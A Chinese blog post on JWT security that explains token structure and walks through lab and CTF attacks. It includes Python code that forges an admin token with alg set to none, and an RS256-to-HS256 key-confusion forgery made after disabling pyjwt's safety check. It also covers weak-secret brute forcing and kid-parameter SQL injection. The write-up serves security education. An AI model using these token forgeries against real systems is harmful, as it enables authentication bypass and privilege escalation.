Yoga7xm's Blog

JWT安全简析

字数统计: 1.2k阅读时长: 5 min
2019/10/22 Share

Abstract

Json Web Token 简称JWT,是一种紧凑的 URL 安全方式,用于表示在双方之间传输的声明。JWT 中的声明被编码为使用JSON Web 签名(JWS)进行数字签名的 JSON 对象。——IETF

简单的说,JWT是一种非常轻量级的业务流程管理规范,用于用户和服务器之间安全可靠地传递信息,常用于前后端分离、Restful API配合使用构建身份认证机制.

JWT结构

jwt有三大部分组成,用小数点分割——header.payload.signature

第一部分头部解码后表示一个简单的JSON对象,一般来说这个对象描述了JWT所使用的签名算法和类型

1
2
3
4
{
"alg" : "HS256",
"typ" : "jwt"
}

经过Base64URL编码之后就为eyJhbGciOiJIUzI1NiIsInR5cCI6Imp3dCJ9

【注】: Base64URL是base64修改版,为了方便地在Web中传输使用了不同的编码表,不会在末尾填充=号,并将+/分别改为-_

Payload

第二部分是JWT的核心,也就是载荷.储存一些用户的数据(用户名,时间戳,过期时间等等).通常遵守的原则是存储尽量少的必要数据在载荷中,因为Base64可解,基本上相当于明文传输了

1
2
3
4
{
"key":"val",
"iat":1422605445
}

经过Base64URL编码之后就为eyJrZXkiOiJ2YWwiLCJpYXQiOjE0MjI2MDU0NDV9

signature

最后一部分是签名,是根据头部和载荷通过密钥secret和指定的签名算法进行加密计算出来的一个签名,密钥保存在服务端,用来校验JWT是否有效,保证完整性

eUiabuiKv-8PYk2AkGY4Fb5KMZeorYBLw261JPQD5lM

综上述,这个JWT完整版为

1
eyJhbGciOiJIUzI1NiIsInR5cCI6Imp3dCJ9.eyJrZXkiOiJ2YWwiLCJpYXQiOjE0MjI2MDU0NDV9.eUiabuiKv-8PYk2AkGY4Fb5KMZeorYBLw261JPQD5lM

攻击方式

加密算法可控

修改算法为None

JWT为方便调试可以将加密算法设为none,结构为header.payload.。有些情况下,alg字段为none时,服务器不会进行签名校验,这样就存在伪造JWT的风险

1
2
docker pull gluckzhang/ctf-jwt-token
docker run --rm -p 8080:8080 gluckzhang/ctf-jwt-token

访问8080端口,是一个登录框,尝试登录失败后会给出正确的账号密码

输入账号密码,后台抓包

此时cookie中的Token就是认证通过之后的JWT,拿去解码: 传送门

1
2
3
4
5
6
7
8
9
10
11
12
//Header
{
"typ": "JWT",
"alg": "HS256"
}
//Payload
{
"auth": 1577714803515,
"agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Waterfox/56.3",
"role": "user",
"iat": 1577714804
}

这里Payload中的role为user,我们将其改成admin,并且将alg的值改为none,然后借助pyjwt库生成新的JWT

1
2
3
import jwt
payload = {"auth":1577714803515,"agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Waterfox/56.3","role":"admin","iat":1577714804}
print(jwt.encode(payload,None,algorithm="none"))

然后替换token去访问private页面,拿到Flag

修改算法为对称加密

在非对称加密算法(常见的RS256等)下,服务端会使用私钥进行签名,公钥进行验证;倘若攻击者获取到了服务端的公钥,并将签名算法改为对称加密算法(常见HS256等),服务端还是会用公钥进行验证签名,这样就成功的通过了服务端的验证

实验环境: 传送门 拿到JWT

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU3Nzc1NjU1OSwiZXhwIjoxNTc3NzU2Njc5LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.DtDHYRwNWJhmN6O56ZShfQa7r2n8bX2U3cqIcio7hz1CQXZREKIdWn-0m5pvLQwa8pZZqZ4mxAhuWJ_iazK7lOTxZ_wPWAxLaPzVhDXMH-hjbcSsQ91qXjP4RsiyUzpAnrKFqQmqIyGXS771x5Ep_TeBB-9T5CXL3ytmexquGhrbRtTXwh0KtyaVf6ZkSKlhTFjGbHWB6Bh1CVjflx0VZAmiLJA1pxttCTO5OmU1uJAiHpQMoUdPPCm6Z5ze31pMrVQHzGFrNbmXbImHoAy4Sjk3UutCnhyn7r1RXd85zQ_0FfL1U1PDq37-0cqzm7USVmYUXhZDhs-s9WxqplveSA

这是RS256加密过后的,payload部分解码可以得到

1
{"iss":"http://demo.sjoerdlangkemper.nl/","iat":1577756559,"exp":1577756679,"data":{"test":"test"}}

RSA的公钥地址: public.pem

将算法改为HS256,然后利用该公钥对其进行签名

1
2
3
4
import jwt
key = open('public.pem','r').read()
data = {"test":"test"}
print(jwt.encode(data, key=key, algorithm='HS256'))

但是运行的时候,pyjwt会校验密钥的格式,然后会报错

我们定位到algorithms.py的150行

1
2
3
4
if any([string_value in key for string_value in invalid_strings]):
raise InvalidKeyError(
'The specified key is an asymmetric key or x509 certificate and'
' should not be used as an HMAC secret.')

这里会进行判断然后报错,我们直接将这一段给注释掉,然后回来执行就没有问题了

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0ZXN0IjoidGVzdCJ9.5yqz5BAxgRYv4oXX0eoESlwMbXd5-uycC4ZFIPkcE64

密钥弱口令

JWT的安全性取决于密钥的保密性,一个JWT的密钥不够强大,就能够通过爆破的方式获取密钥伪造Token

工具

KID参数可控

kid is an optional header claim which holds a key identifier, particularly useful when you have multiple keys to sign the tokens and you need to look up the right one to verify the signature.

简单讲就是kid为header的一个可选参数,用于指定签名算法使用的密钥

CTF题目

1
https://chybeta.github.io/2017/08/29/HITB-CTF-2017-Pasty-writeup/

SQL注入

kid也被允许从数据库中提取密钥,假如这时候没有经过过滤处理,能够构造恶意的sql语句获取数据

CTF题目

1
https://github.com/greunion/ctf-write-ups/tree/master/2018-nullcon/web/400-web6

Reference

https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6

https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/

https://github.com/gluckzhang/ctf-jwt-token

https://www.freebuf.com/articles/web/181261.html

CATALOG
  1. 1. Abstract
  2. 2. JWT结构
    1. 2.1. Header
    2. 2.2. Payload
    3. 2.3. signature
  3. 3. 攻击方式
    1. 3.1. 加密算法可控
      1. 3.1.1. 修改算法为None
      2. 3.1.2. 修改算法为对称加密
    2. 3.2. 密钥弱口令
    3. 3.3. KID参数可控
      1. 3.3.1. SQL注入
  4. 4. Reference